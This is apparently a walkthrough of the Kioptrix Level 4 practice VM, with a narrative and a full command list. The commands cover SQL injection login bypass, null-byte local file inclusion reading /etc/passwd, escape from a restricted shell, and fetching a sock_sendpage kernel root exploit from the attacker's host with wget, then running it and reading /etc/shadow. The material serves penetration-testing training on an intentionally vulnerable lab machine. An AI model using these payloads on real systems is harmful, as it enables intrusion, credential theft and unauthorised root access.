Kioptrix - Level 4 (Limited Shell)

Another Kioptrix has been released which is a "boot-to-root" operating system that has purposely designed weaknesses built into it. The user's end goal is to interact with the system using the highest user privilege they can reach.

There are other vulnerabilities using different techniques to gain access into this box such backdooring via MySQL injection as well as local file inclusion using PHP session data.

Kioptrix Logo

Links

Watch video on-line:

Download video: http://download.g0tmi1k.com/videos_archive/Kioptrix-Level_4_(Limited_Shell).mp4

Method

  • Scanned network for the target [Netdiscover]
  • Port scanned the target [UnicornScan]
  • Banner grabbed the services running on the open port(s) [NMap]
  • Interacted with the web server & logged into the system anonymously [Firefox & Burp Proxy]
  • Discovered & exploited an local file inclusion vulnerably to enumerate possible users. [Burp Proxy]
  • Logged into the Web UI as each user to discover their password in plain text [Firefox & Burp Proxy]
  • Remotely connected to as a user and broke out of the limited shell [SSH]
  • Enumerated the system environment to identifying limiting factors. [IPTables]
  • Escalated privileges via a vulnerable kernel version [sock_sendpage]
  • Accessed the 'flag' [Text file]

Tools

Walkthrough

The attack begins by locating the target on the network. By using "Netdiscover" the attacker produces a list of all IP's & MAC addresses and known vendors currently connected to the network. They know that the target hasn't spoofed their MAC address and that they are inside a VM meaning the attacker has successfully identified the target due to only one vendor which relates to a VM, VMware.

This allows the attacker to direct their attack by port scanning every TCP & UDP port of the target. "UnicornScan" shows five open ports; TCP 22 (SSH), TCP 80 (HTTP), TCP 139 (NetBIOS), TCP 445 (SMB) & UDP 137 (NetBIOS). "nmap" then verifies the port scan results and at the same time of nmap's scan; the attacker takes advantage of the inbuilt scripting engine by detecting in which to detect services that are being run on the port, banner grab (which could possibly identify the software being used & its version) as well as fingerprinting the operating system. Depending on the outcome produced by the scan, nmap could decide to execute any other script(s). In this instance various samba scripts were executed automatically enumerate it. Nmap fingerprintted the operating system as Linux 2.6.9-2.6.31.

By interacting with the web service using "firefox" the attacker is able to see if any web application is running. The web server responds and presents them with a login screen.

The attacker starts "Burp Proxy" and configures it. Burp is able to monitor & interpret the traffic between the attacker and the target. To do so, firefox's proxy settings are altered to direct the traffic into burp. Now when the attacker tries to login, burp has captured the request. Using burp's "repeater" function the attacker is able to manipulate the request as they wish. The attacker repeats the same incorrect login to verify the setup and gain a "base line" to compare results. On the next request the attacker has altered the password value to reflex a 'standard common' SQL statement which affects login screens by always returning true. Upon the successful request to login, a cookie value has been set, 'PHPSESSID', which is used for storing values in between pages (even if they are not always on the same domain!) for a certain amount of time allowing for every user to be remembered. The attacker attaches the cookie value, repeats the login request and follows the redirect.

After bypassing the login system, the attacker is presented with the 'members' page, however the attacker isn't using a 'correct' username, thus the requested information is invalid which is why the attacker is given an error message. This is an error message produced from the code that is being executed on the page. The attacker repeats the last request, but replaces the username with a known filename (the login page 'index.php'). This request caused an error, however the error message produced is from the backend engine itself, PHP, saying that it wasn't able to include the file (along with the filename requested). From this error message the attacker notices how the code has altered the request from the original:

Requested username: index.php

Processed username: index.php/index.php.php

The attacker wishes for only the first part to be processed by the code, instead of adding a "/" (to signal that its directory) along with the value again and adding ".php" at the end (as a file extension). The attacker can achieve their aim by adding "" afterwards which is a NUL meta character which signals it's the end, thus the code does not process anything else afterwards. The attacker tries the updated request again, and is able to see that the login screen is included.

The attacker uses this vulnerability to collect as much as possible to help enumerate the system, for example, discovering which users have access into the system that could allow for the attacker to login the Web UI as a valid user. Upon requesting the standard 'passwd' file for a Linux operating system (which has been identified multiple times), the requested 'username' (aka filename) doesn't match up to what was processed and produces an error message. It's in the same format as the first one, which means there is some type of filtering being processed on the 'username' value that is being requested. After inspecting the filename in the error message the attacker notices, the only thing which is incorrect is 'etc' as it appears it's been taken out. The attacker repeats the request again and duplicate '/etc/' in the filename to see if that has an effect. The target responds and includes the file, giving the attacker a list of valid users on the system. This means the filtering system appears to search and replace 'etc' once with a blank value. Editor's note: The users in the web service might not always match up to the system itself or vice versa as well as having a more complex filtering system!).

After analysing the passwd file, the attacker spots that two out of the three user's shell paths isn't 'normal'. The shell path contains the location of the program which is executed automatically after the user is logged into the system.

The attacker goes back in burp, removes the PHPSESSID value as by doing so makes the next request appear as if they are someone who isn't already logged in. At the same time the attacker uses a username which has a home directory in the passwd file and repeats the same procedure as before. This time, after being redirected to the members page, instead of an error being shown, the attacker sees a 'control panel' that displays the username & password for that user. The attacker repeats this method for the other users. Editor's note: This could have been repeated in burp however I wanted to demonstrate the same method of spoofing the PHPSESSID in another program).

The attacker uses the credentials displayed from the Web UI's control panel to attempt to log into the remote shell via SSH. The attacker was able to successfully login into the target's machine using the same credentials, however they are in a "limited" shell, which has a restricted number of commands which are allowed to be executed. After checking to see which commands are allowed to be run, the attacker notices that "echo" is allowed. This bash command displays on standard output (this case the screen) any strings given to it. The attacker attempts to exploit this by crafting a bash command to execute a 'standard' shell to be displayed out. The limited shell processes the echo command causing a bash shell to be executed which isn't restricted.

This isn't enough for the attacker and they try to gain higher access over the system by escaping privileges further. A common method is by exploiting the kernel (this ONLY works if it is the 'correct' version!). The attacker finds the target's kernel version, searches their local copy of a public exploit database "exploit-db" and discovers a potential exploit which matches the kernel version. The chosen exploit is a 'generic' one as it works across multiple kernel versions. After reading the exploit, it is required that the attacker downloads an additional 'package' (extra needed files made up the source code and an automated script). This is moved into their local web root folder and the necessary permission given to it, allowing every user to have 'read' access (as the web server is executed as a different user). When everything is in place, the attacker starts a web server.

By controlling the target remotely the attacker locates a directory (which they have permission write to and execute from). Once inside it they instruct the target to download the exploit code from the attacker. However the target fails to connect. The attacker starts exploring the system to see if they can understand the target's environment better. They check the common start up scripts to see what is being executed at boot time, which would mean they would always be executed. The attacker notices an extra line in '/etc/rc.lcoal' which points to a bash script. Editor's note: rc.local is executed before the user is logged into the system - which fits very well for a boot-to-root! Inside the included bash script there is a reference to 'IPTables' which restores its settings from back up. After viewing the content of the backup file the attacker notices that port 80 is block, which is the default port, used for web servers, which is why they failed to transfer the exploit package across. Editor's note: SSH could have been used to transfer files.

The attacker closes the web server, and starts up another one, which by default uses port 8000. The attacker updates their command to reflect the new port and this time the exploit package has been transferred.

Upon extraction of the package, the attacker opens the automated script to see how it functions. The attacker verifies the variables paths are valid for the target's system. However they discover that the compiler needed for the source code isn't located on the target. The attacker decides to use their machine to compile any required files. The attacker now manually processes the automated bash script, making sure they process it the same way as if it was being executed on the target's machine. Editor's note: I skipped out compiling two files as they weren't needed in this instance. The attacker transfers the files which should of being compiled locally on the target, gives them the same permissions and then executes the exploit. This results in the attacker now having root access on the target's machine.

Game over

When they explore root's personal home folder, they notice a text file called "congrats.txt". When the attacker opens it up they see that they have been notified that they have reached the end goal.

Game over...again

Commands

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
netdiscover -r 192.168.0.0/24
us -mT -Iv 192.168.0.4:a -r 3000 -R 3 && us -mU -Iv 192.168.0.4:a -r 3000 -R 3
nmap -p 1-65535 -T4 -A -v 192.168.0.4    # -p 22,80,139,445
BT -> firefox -> 192.168.0.4 -> admin:password
BT -> BackTrack -> Vulnerability Assessment -> Web Application Assessment -> Web Application Proxies -> burpsuite    # java -jar /pentest/web/burpsuite/burpsuite_v1.4.01.jar
// Firefox -> Edit -> Preferences -> Advance -> Network -> Settings -> Manual proxy configurations -> 127.0.0.1:8080
// Burp -> Proxy -> Intercept -> Off. Proxy -> Options -> Port: 8080.   # Options -> Misc -> Proxy -> Requests (Enable) -> /root/burp.log. Target.
// firefox -> 192.168.0.4 -> admin:password
// Burp -> target -> site map -> http://192.168.0.4 -> checklogin.php -> Right click: myusername=admin&mypassword=password -> Send to repeater
// Burp -> repeater -> 2 -> go                                          # Content-Length: 109. HTTP/1.1:200. (AKA Response doesn't have no phpsessid)
// Burp -> repeater -> 2 -> params -> mypassword: ' or 1=1-- - ->  go   # Content-Length: 429. HTTP/1.1:302. (AKA Response: cookie has a phpsessid value)
// Burp -> repeater -> 2 -> params -> new -> cookie -> PHPSESSID:c4605625fae3ed4631d08dbeb7b4d74e
// Burp -> repeater -> 2 -> follow redirect -> follow redirect -> params -> url -> username: index.php -> go
// Burp -> repeater -> 2 -> params -> url -> username: index.php%00 -> go
// Burp -> repeater -> 2 -> params -> url -> username: /etc/passwd%00 -> go
// Burp -> repeater -> 2 -> params -> url -> username: /etc/etc/passwd%00 -> go
// Burp -> repeater -> 2 -> < -> < -> remove: PHPSESSID -> username: robert -> go
// Burp -> repeater -> 2 -> params -> new -> cookie -> PHPSESSID:25701bb0b54f585633a738aa4e50563e -> go -> follow redirect -> follow redirect    # robert:ADGAdsafdfwt4gadfga==
// Firefox -> 192.168.0.4 -> john:' or 1=1 -- -  # MyNameIsJohn
ssh john@192.168.0.4 -> yes                      # MyNameIsJohn
// SSH -> ? -> id -> cd .. -> cd ..              # Force kick ;)
ssh robert@192.168.0.4                           # ADGAdsafdfwt4gadfga==
// SSH -> id
// SSH -> echo os.system('/bin/bash')
// SSH -> id -> uname -a

cd /pentest/exploits/exploitdb
grep -i "linux kernel" files.csv | grep -i local | grep -v dos | grep 2.6    # Linux Kernel 2.4/2.6 sock_sendpage() Local Root Exploit [3]
cat platforms/linux/local/9641.txt
cd /tmp
wget http://exploit-db.com/sploits/2009-linux-sendpage3.tar.gz -O exploit.tar.gz
chmod 755 exploit.tar.gz
/etc/init.d/apache2 start

ls -l /
cd /tmp

ifconfig

wget 192.168.0.192/exploit.tar.gz
cd /etc/
ls
cat rc.local
cat startup.sh
cat iptables.rules

/etc/init.d/apache stop
python -m SimpleHTTPServer

cd /tmp
wget 192.168.0.192:8000/exploit.tar.gz
ls -lAh
tar zxvf exploit.tar.gz
cd linux-sendpage3/
!ls
head run
whereis gcc
file /usr/lib/gcc

tar zxvf exploit.tar.gz
cd linux-sendpage3/
cat run

uname -m

gcc -Wall -o exploit exploit.c
#gcc -Wall -o exploit-pulseaudio exploit-pulseaudio.c   # Just not needed!
#gcc -Wall -fPIC -shared -o exploit.so exploit.c        # Just not needed!
!python

#wget 192.168.0.192:8000/exploit{,-pulseaudio,.so}      # Just not needed!
#chmod +x exploit{,-pulseaudio,.so}                     # Just not needed!
wget 192.168.0.192:8000/exploit
chmod +x exploit
!ls
id
./exploit
id
cd /root
ls -lah
cat congrats.txt
id && ifconfig && uname -a && cat /etc/shadow && ls -lah /root    # ls -lahR /root
# ls -lahR /var/log

Notes

  • You need to create a new virtual machine and attach an existing hard drive (kioptrix 4!).
  • The target uses DHCP to obtain an IP address.
  • Some mistakes in the video are more obvious. (e.g. IF apache WAS to work, the wget request would of 404'd).
  • SSH could of been used to transfer the files between each attacker and the target, however I wanted to provide more of a insight into Kioptrix #4!

Song: Coming Home (Arctic Moon Remix) - Armin van Buuren

Video length: 8:35

Capture length: 22:28

Blog Post: https://blog.g0tmi1k.com/2012/02/kioptrix-level-4-limited-shell/